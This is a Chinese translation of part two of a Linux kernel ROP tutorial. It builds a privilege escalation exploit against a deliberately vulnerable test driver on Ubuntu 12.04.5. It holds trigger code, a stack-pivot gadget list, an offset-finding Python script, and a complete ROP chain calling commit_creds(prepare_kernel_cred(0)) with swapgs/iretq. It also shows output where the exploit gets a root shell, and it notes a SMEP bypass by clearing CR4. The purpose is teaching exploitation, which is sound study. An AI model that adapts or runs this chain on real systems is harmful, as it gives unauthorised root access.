/* 很棒的文章,在freebuf上發現了這篇文章上部分的翻譯,但作者貌似棄坑了,順手把下半部分也翻譯了,原文見文尾鏈接 --by JDchen */
介紹
在文章第一部分,我們演示了如何找到有用的ROP gadget並為我們的系統(3.13.0-32 kernel –Ubuntu 12.04.5 LTS)建立了一個提權ROP鏈的模型。我們同時也開發了一個有漏洞的內核驅動來允許實現執行任意代碼。在這一部分,我們將會使用這個內核模塊來開發一個具有實踐意義的ROP鏈:提權,修復系統,純凈退出到用戶空間。
這是來自第一部分ROP鏈的執行成功的條件:
1:執行一個有效的提權載荷
2:駐留在用戶空間的數據可能被引用
3:駐留在用戶空間的指令可能不被執行
第一部分開發的內核模塊由於缺少偏移邊界檢查,可以導致一個函數指針指向任意地址,我們的簡單觸發代碼如下:
#define DEVICE_PATH "/dev/vulndrv" ... int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req;); return 0; }
在上面代碼段中,我們可以控制內核驅動中被聲明位unsigned long的offset值,通過offset,我們可以引用任意在內核或者用戶空間地址。
棧反轉
由於我們不能重定位內核控制流到一個用戶空間地址,我們需要在內核空間找一個合適的gadget。這個想法是,在用戶空間准備我們的ROP鏈然后將棧指針指向ROP頭部。這樣,我們不直接執行駐留在用戶空間中的指令,而是從用戶空間獲取指向內核空間中的指令。在我們漏洞函數device_ioctl()的入口下斷點,我們能夠檢查寄存器是不變的,還是在我們引用函數指針之前我們能夠控制它的值:
0xffffffffa013d0bd <device_ioctl> nopl 0x0(%rax,%rax,1) 0xffffffffa013d0c2 <device_ioctl+5> push %rbp 0xffffffffa013d0c3 <device_ioctl+6> mov %rsp,%rbp 0xffffffffa013d0c6 <device_ioctl+9> sub $0x30,%rsp 0xffffffffa013d0ca <device_ioctl+13> mov %rdi,-0x18(%rbp) 0xffffffffa013d0ce <device_ioctl+17> mov %esi,-0x1c(%rbp) 0xffffffffa013d0d1 <device_ioctl+20> mov %rdx,-0x28(%rbp) [user-space address of passed req struct] 0xffffffffa013d0d5 <device_ioctl+24> mov -0x1c(%rbp),%eax 0xffffffffa013d0d8 <device_ioctl+27> test %eax,%eax 0xffffffffa013d0da <device_ioctl+29> jne 0xffffffffa013d145 <device_ioctl+136> 0xffffffffa013d0dc <device_ioctl+31> mov -0x28(%rbp),%rax 0xffffffffa013d0e0 <device_ioctl+35> mov %rax,-0x10(%rbp) [save req struct address to -0x10(%rbp)] 0xffffffffa013d0e4 <device_ioctl+39> mov -0x10(%rbp),%rax 0xffffffffa013d0e8 <device_ioctl+43> mov (%rax),%rax 0xffffffffa013d0eb <device_ioctl+46> mov %rax,%rsi 0xffffffffa013d0ee <device_ioctl+49> mov $0xffffffffa013e066,%rdi 0xffffffffa013d0f5 <device_ioctl+56> mov $0x0,%eax 0xffffffffa013d0fa <device_ioctl+61> callq 0xffffffff81746ca3 0xffffffffa013d0ff <device_ioctl+66> mov -0x10(%rbp),%rax 0xffffffffa013d103 <device_ioctl+70> mov (%rax),%rax 0xffffffffa013d106 <device_ioctl+73> shl $0x3,%rax 0xffffffffa013d10a <device_ioctl+77> add $0xffffffffa013f340,%rax 0xffffffffa013d110 <device_ioctl+83> mov %rax,%rsi 0xffffffffa013d113 <device_ioctl+86> mov $0xffffffffa013e074,%rdi 0xffffffffa013d11a <device_ioctl+93> mov $0x0,%eax 0xffffffffa013d11f <device_ioctl+98> callq 0xffffffff81746ca3 0xffffffffa013d124 <device_ioctl+103> mov $0xffffffffa013f340,%rdx mov -0x10(%rbp),%rax mov (%rax),%rax 0xffffffffa013d132 <device_ioctl+117> shl $0x3,%rax 0xffffffffa013d136 <device_ioctl+121> add %rdx,%rax mov %rax,-0x8(%rbp) 0xffffffffa013d13d <device_ioctl+128> mov -0x8(%rbp),%rax 0xffffffffa013d141 <device_ioctl+132> callq *%rax jmp 0xffffffffa013d146 <device_ioctl+137> 0xffffffffa013d145 <device_ioctl+136> nop 0xffffffffa013d146 <device_ioctl+137> mov $0x0,%eax 0xffffffffa013d14b <device_ioctl+142> leaveq
如上,寄存器rax的值是指將會被執行的指令的地址,我們可以提前計算這個地址,因為我們知道ops數組的基地址和傳遞的偏移值以用於計算函數指針fn()的地址。例如:給定ops的基地址為 0xffffffffaaaaaaaf,偏移offset=0x6806288。Fn地址變為0xffffffffdeadbeaf。我們可以逆轉這個過程並嘗試找到一個內核空間中我們想要去執行的gadget的地址的偏移值。這里有很多棧反轉gadget。例如,下面是在用戶空間常用的棧反轉ROP鏈:
mov %rsp, %rXx ; ret add %rsp, ...; ret xchg %rXx, %rsp ; ret
在內核空間執行任意代碼,我們需要將我們的棧指針指向我們能夠控制的用戶空間。盡管我們的測試環境是64位,但我們依舊對最后一個寄存器改為32位的gadget感興趣。xchg %eXx, %esp ; ret xchg %esp, %eXx ; ret. 如果我們的%rax是一個有效的內核地址,這個棧反轉指令將會使rax的低32位作為新的棧地址。一旦rax的值在執行f()被執行前知道,我們將知道用戶空間棧的地址並相應進行mmap。
使用第一部分的ROPGadget工具,我們可以看到在內核鏡像中有很多合適的xchg棧反轉指針。
0xffffffff81000085 : xchg eax, esp ; ret 0xffffffff81576254 : xchg eax, esp ; ret 0x103d 0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8 0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8 0xffffffff81762182 : xchg eax, esp ; ret 0x12eb 0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9 0xffffffff81a196fc : xchg eax, esp ; ret 0x1408 0xffffffff814bd0fd : xchg eax, esp ; ret 0x148 0xffffffff8119e39b : xchg eax, esp ; ret 0x148d 0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c 0xffffffff810db968 : xchg eax, esp ; ret 0x14ff 0xffffffff81d5953e : xchg eax, esp ; ret 0x1589 0xffffffff81951aee : xchg eax, esp ; ret 0x1d07 0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c
在選擇棧反轉指針時唯一需要注意的是它需要8字節對齊(因為ops是8字節指針的數組,其基地址對齊)。下面簡單的腳本用於找到適合的gadget
==================== find_offset.py ==================== #!/usr/bin/env python import sys base_addr = int(sys.argv[1], 16) f = open(sys.argv[2], 'r') # gadgets for line in f.readlines(): target_str, gadget = line.split(':') target_addr = int(target_str, 16) # check alignment if target_addr % 8 != 0: continue offset = (target_addr - base_addr) / 8 print 'offset =', (1 << 64) + offset print 'gadget =', gadget.strip() print 'stack addr = %x' % (target_addr & 0xffffffff) break ======================================================== vnik@ubuntu:~$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets vnik@ubuntu:~$ ./find_offset.py 0xffffffffa0224340 ./gadgets offset = 18446744073644332003 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258
上面的堆棧地址表示ROP鏈需要mmapping的用戶空間地址(fake_stack):
fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
所選擇的棧反轉gadget中的ret有數值操作數,沒有數值操作數的ret指令會將返回地址從堆棧中彈出並跳轉到堆棧。然而,在一些調用約定(例如,Microsoft __stdcall)中,被調用函數負責清除堆棧。在這種情況下,調用ret的操作數表示在獲取下一條指令后彈出堆棧的字節數。因此,之后的第二個ROPgadget位於偏移量0x11e8 + 8處:一旦執行了堆棧樞軸,一旦棧反轉指令被執行,控制將被轉移到下一個gadget,但堆棧指針將在$ rsp + 0x11e8。
載荷
參考第一部分的堆棧布局,我們可以在用戶空間中准備ROP了如下載荷:
fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
我們對第一部分的ROP鏈進行了修改。特別地,commit_creds()地址被移位了2個指令。這是因為我們使用調用指令來執行commit_creds()。調用指令在將控制傳遞給commit_creds()的第一個指令之前,將返回地址保存在堆棧中。像任何其他函數一樣,commit_creds具有開頭和結尾,它們將在堆棧上push值,然后在返回之前將它們pop出堆棧。因此,一旦執行該函數,控制將被返回到保存的返回地址。但是,我們希望將其返回到ROP鏈中的下一個gadget。要使用調用指令作為ROPgadget,我們可以簡單地跳過開頭的一個push指令:
(gdb) x/10i 0xffffffff81095190
0xffffffff81095190 nopl 0x0(%rax,%rax,1)
0xffffffff81095195 push %rbp 0xffffffff81095196 mov %rsp,%rbp 0xffffffff81095199 push %r13 0xffffffff8109519b mov %gs:0xc7c0,%r13 0xffffffff810951a4 push %r12 0xffffffff810951a6 push %rbx 0xffffffff810951a7 mov %rdi,%rbx 0xffffffff810951aa sub $0x8,%rsp 0xffffffff810951ae mov 0x498(%r13),%r12
跳過push %rbp指令允許我們使用call指令作為ROP gadget:堆上保留的返回地址將會在出commit_creds()結尾被pop出來,ret指令將會返回到下一個gadget。
固化
上面描述的ROP鏈將給我們的調用進程超級用戶權限。然而,一旦所有ROPgadget被執行,控制將被傳送到堆棧上的下一條指令,這是一些未初始化的存儲器值。我們需要以某種方式恢復堆棧指針並將控制權轉移回我們的用戶空間進程。
您可能會意識到syscalls始終切換內核/用戶空間上下文。一旦進程執行系統調用,它需要恢復其狀態,以便它可以在系統調用之后從下一個指令繼續執行。這通常使用iret(特權間返回)指令來從內核空間返回到用戶空間進程。然而,iret(或在我們的情況下,64位操作數的iretq)期望一個堆棧布局如下所示:

我們需要擴展我們的ROP鏈,以包括一個新的用戶空間指令指針(RIP),用戶空間堆棧指針(RSP),代碼和堆棧段選擇器(CS和SS)和各種狀態信息的EFLAGS寄存器。可以使用以下save_state()函數從調用用戶空間進程獲取CS,SS和EFLAGS值:
unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); }
內核.text段中的iretq指令的地址可以使用objdump:
vnik@ubuntu:~# objdump -j .text -d ~/vmlinux | grep iretq | head -1 ffffffff81053056: 48 cf iretq
最后要注意的是,在執行iret之前,在64位系統上需要swapgs。該指令將GS寄存器的內容與MSR之一中的值交換。在核空間例程(例如,系統調用)的入口處,執行swpags以獲得指向內核數據結構的指針,因此,在返回到用戶空間之前需要匹配的swapgs。
現在可以把ROP鏈的各個部分連起來了:
save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81052804UL; /* swapgs ; pop rbp ; ret */ *fake_stack ++= 0xdeadbeefUL; /* dummy placeholder */ *fake_stack ++= 0xffffffff81053056UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */
結果
Ubuntu 12.04.5(x64)的完整漏洞利用代碼可以在GitHub上找到。首先,我們需要使用基地址獲取數組偏移量
vnik@ubuntu:~$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340 vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets offset = 18446744073644231139 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258
然后,將基址和偏移地址傳遞給ROP漏洞:
vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340 array base address = 0xffffffffa02e9340 stack address = 0x8108e258 # id uid=0(root) gid=0(root) groups=0(root) #
我們提到這會繞過SMEP嗎?
有更簡單的方法繞過SMEP。例如,將CR4位清除為ROP鏈gadget,然后在用戶空間中執行其余的特權提升有效內容(即,帶有iret的commit_creds(prepare_kernel_cred(0)))。本教程的目標不是繞過某種保護機制,而是要證明內核ROP(整個有效負載)在內核空間中可以像用戶空間中的ROP一樣容易地執行。對於內核ROP有明顯的缺點:主要的是能夠獲得對內核啟動映像(默認為0600)的訪問。這不是內核的問題,但是如果沒有其他內存泄漏,對於自定義內核可能有問題。
2016: "Linux Kernel ROP - Ropping your way to # (Part 1)" by Vitaly Nikolenko
2016: "Linux Kernel ROP - Ropping your way to # (Part 2)" by Vitaly Nikolenko
本文版權歸作者所有,歡迎轉載,且在文章頁面明顯位置給出原文連接,否則保留追究法律責任的權利。
